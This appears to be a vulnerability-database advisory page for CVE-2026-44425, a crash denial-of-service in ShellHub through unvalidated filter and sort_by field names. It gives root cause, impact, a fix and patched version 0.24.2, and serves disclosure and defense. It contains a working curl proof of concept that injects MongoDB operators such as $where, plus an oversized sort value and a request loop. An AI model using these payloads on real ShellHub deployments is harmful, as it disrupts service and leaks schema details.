NIST deprecates RSA-2048 from 2030. Find every one of them before attackers do.
🐹
🐹 Go
Not in CISA KEV
MEDIUM severity

CVE-2026-44425 — shellhub

MEDIUM

CVE-2026-44425 is a medium-severity (CVSS 5.4) Improper Input Validation vulnerability in github.com/shellhub-io/shellhub. A fix is available for github.com/shellhub-io/shellhub — see the affected versions and patch details below.

ShellHub: Crash-DoS via field injection in filter and sort-by parameters

Also known asGHSA-47r2-v3x6-wff9GO-2026-5113
Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Nov 1, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

No confirmed exploitation observed yet

  • CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-44425.

EPSS Exploitation Probability

via FIRST.org ↗
0.3%probability of exploitation in next 30 days
Lower Risk-0.11%
Lower risk than most CVEs17th percentile — riskier than 17% of all scored CVEsHighest risk
0.00%0.29%0.58%0.86%0.1%0.3%Jun 26Sep 26Nov 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

Where this sits among everything scored

Real-World Exposure

1 pkg affected
🐹github.com/shellhub-io/shellhub

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Summary

The device list endpoint accepts user-controlled identifiers in two places that are passed directly as BSON/SQL keys in the database layer without validation:

  1. The name field of each filter property in the base64-encoded filter query parameter.
  2. The sort_by query parameter.

Any authenticated user can craft payloads that cause the aggregation/query to fail and the API to return HTTP 500 with no body, with no rate limiting applied.

Severity

CVSS 3.1: 6.5 (Medium) CWE-20 (Improper Input Validation) CWE-943 (Improper Neutralization of Special Elements in Data Query Logic)

Affected versions

ShellHub Community v0.24.1 (validated). All versions sharing the same filter and sort pipeline (api/store/mongo/query-options.go).

Root cause

Vector 1 — Filter field name

api/store/mongo/query-options.go:140:

conditions = append(conditions, bson.M{param.Name: property})

param.Name is the name field from the JSON filter supplied by the client. It becomes a BSON map key with no validation, allowing BSON operator names ($where, $ne, $or, $regex) and virtual pipeline-computed fields (namespace, paths containing $) to be injected.

Vector 2 — Sort-by field

Similar pattern in the sort pipeline where the sort_by query parameter is used to build bson.M{"$sort": {sortBy: order}} without validation.

Additional observation

fromContains (api/store/mongo/internal/filters.go:60-69) passes user input directly as $regex value, which enables blind regex extraction over string fields within the caller's tenant and potential ReDoS amplification on large datasets.

func fromContains(value interface{}) (bson.M, error) {
    switch value.(type) {
    case string:
        return bson.M{"$regex": value, "$options": "i"}, nil

Proof of concept (validated live against v0.24.1)

TOKEN=<valid-user-jwt>

# Helper: base64-encode a filter payload
encode_filter() {
  python3 -c 'import json,base64,sys;print(base64.b64encode(json.dumps(json.loads(sys.argv[1])).encode()).decode())' "$1"
}

# --- Vector 1: filter field injection ---

# Baseline: legitimate filter -> 200
F=$(encode_filter '[{"type":"property","params":{"name":"name","operator":"contains","value":"anything"}}]')
curl -sS -w "HTTP=%{http_code}\n" "http://target/api/devices?filter=$F" \
  -H "Authorization: Bearer $TOKEN"
# HTTP=200

# Exploit 1a: Mongo operator as field name
F=$(encode_filter '[{"type":"property","params":{"name":"$where","operator":"contains","value":"x"}}]')
curl -sS -w "HTTP=%{http_code}\n" "http://target/api/devices?filter=$F" \
  -H "Authorization: Bearer $TOKEN"
# HTTP=500

# Exploit 1b: nested object as value
F=$(encode_filter '[{"type":"property","params":{"name":"status","operator":"eq","value":{"$ne":"accepted"}}}]')
curl -sS -w "HTTP=%{http_code}\n" "http://target/api/devices?filter=$F" \
  -H "Authorization: Bearer $TOKEN"
# HTTP=500

# Exploit 1c: pipeline-computed field as filter name
F=$(encode_filter '[{"type":"property","params":{"name":"namespace","operator":"contains","value":"."}}]')
curl -sS -w "HTTP=%{http_code}\n" "http://target/api/devices?filter=$F" \
  -H "Authorization: Bearer $TOKEN"
# HTTP=500

# --- Vector 2: sort-by injection ---

# Baseline: legitimate sort -> 200
curl -sS -w "HTTP=%{http_code}\n" "http://target/api/devices?sort_by=name" \
  -H "Authorization: Bearer $TOKEN"
# HTTP=200

# Exploit 2a: Mongo operator as sort field
curl -sS -w "HTTP=%{http_code}\n" "http://target/api/devices?sort_by=\$where" \
  -H "Authorization: Bearer $TOKEN"
# HTTP=500

# Exploit 2b: path containing $
curl -sS -w "HTTP=%{http_code}\n" "http://target/api/devices?sort_by=_id.%24%24%24" \
  -H "Authorization: Bearer $TOKEN"
# HTTP=500

# Exploit 2c: oversized sort field (no length validation)
curl -sS -w "HTTP=%{http_code}\n" "http://target/api/devices?sort_by=$(python3 -c 'print("A"*5000)')" \
  -H "Authorization: Bearer $TOKEN"
# HTTP=500

# Exploit 2d: non-indexable internal field
curl -sS -w "HTTP=%{http_code}\n" "http://target/api/devices?sort_by=tenant_id" \
  -H "Authorization: Bearer $TOKEN"
# HTTP=500

# --- Repeat to demonstrate no rate limiting ---
for i in $(seq 1 20); do
  curl -sS -o /dev/null -w "%{http_code} " "http://target/api/devices?sort_by=\$where" \
    -H "Authorization: Bearer $TOKEN"
done
# 500 500 500 500 500 500 500 500 500 500 500 500 500 500 500 500 500 500 500 500

Confirmed field values that trigger 500:

  • Filter name: $where, $regex, $or, $ne, remote_addr, tenant_id, namespace, any path containing $ after a .
  • Sort-by: $where, _id.$$$, tenant_id, password.hash, overly long strings

Observed response characteristics:

HTTP/1.1 500 Internal Server Error
Content-Length: 0
X-Request-Id: <id>    ← logged as error in backend

Response time 8-18 ms per request, server process stays alive, no degradation across 20 consecutive requests.

Impact

  • Availability (low): unrestricted HTTP 500 generation by any authenticated caller; log noise, SIEM false-positives, WAF bypass fingerprinting.
  • Information disclosure (low): potential stack trace exposure depending on logger configuration; attacker can fingerprint the underlying MongoDB aggregation pipeline and schema.
  • Resource exhaustion (potential): user-controlled $regex value on large tenant datasets enables ReDoS amplification (not reproducible on a 2-device test instance, but attack surface is real on production-scale deployments).
  • Forensics difficulty: unified 500 response makes it hard to distinguish legitimate errors from attacker probes in logs.

Suggested fix

  1. Allowlist filter and sort field names per collection. Add a whitelist of allowed param.Name and sort_by values for each model exposed via filters (device, session, etc.). Reject anything else with HTTP 400.

  2. Reject BSON operators in field names. Even if an allowlist is not practical, reject values that:

    • start with $
    • contain $ after a .
    • contain characters outside [A-Za-z0-9_.]
    • exceed a reasonable length (e.g., 64 characters)
  3. Validate value shape. For contains/eq/ne operators, reject non-primitive values (objects, arrays of objects).

  4. Catch aggregation errors. In api/store/mongo/query-options.go, wrap pipeline execution and return a typed error that the HTTP layer maps to 400 Bad Request instead of 500.

  5. Limit regex complexity. In fromContains, reject regex values longer than N characters or containing nested quantifiers ((...)+, (...)*, (.+)+, etc.) to mitigate ReDoS.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐹Gogithub.com/shellhub-io/shellhuball versions0.24.2go get github.com/shellhub-io/shellhub@v0.24.2

Affected Products

1 product · 1 configurations
Application
shellhubshellhub
< 0.24.2
range

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/shellhub-io/shellhub, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update github.com/shellhub-io/shellhub to 0.24.2 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-44425 is resolved across your whole dependency graph.

  3. Workarounds

    Assume what was exposed is already known: rotate any credential, token or key that the affected component could return, restrict the endpoint to callers that genuinely need it, and strip sensitive fields from responses and error output at the boundary rather than relying on the client not to read them.

Frequently Asked Questions

## Summary The device list endpoint accepts user-controlled identifiers in two places that are passed directly as BSON/SQL keys in the database layer without validation: 1. The `name` field of each filter property in the base64-encoded `filter` query parameter. 2. The `sort_by` query parameter. Any authenticated user can craft payloads that cause the aggregation/query to fail and the API to return HTTP 500 with no body, with no rate limiting applied. ## Severity **CVSS 3.1: 6.5 (Medium)** CWE-20 (Improper Input Validation) CWE-943 (Improper Neutralization of Special Elements in D
O3 Security · Impact-Aware SCA

Is CVE-2026-44425 in your dependencies?

Find it across Go, including transitive dependencies.

CVE-2026-44425: shellhub DoS — Fixed in 0.24.2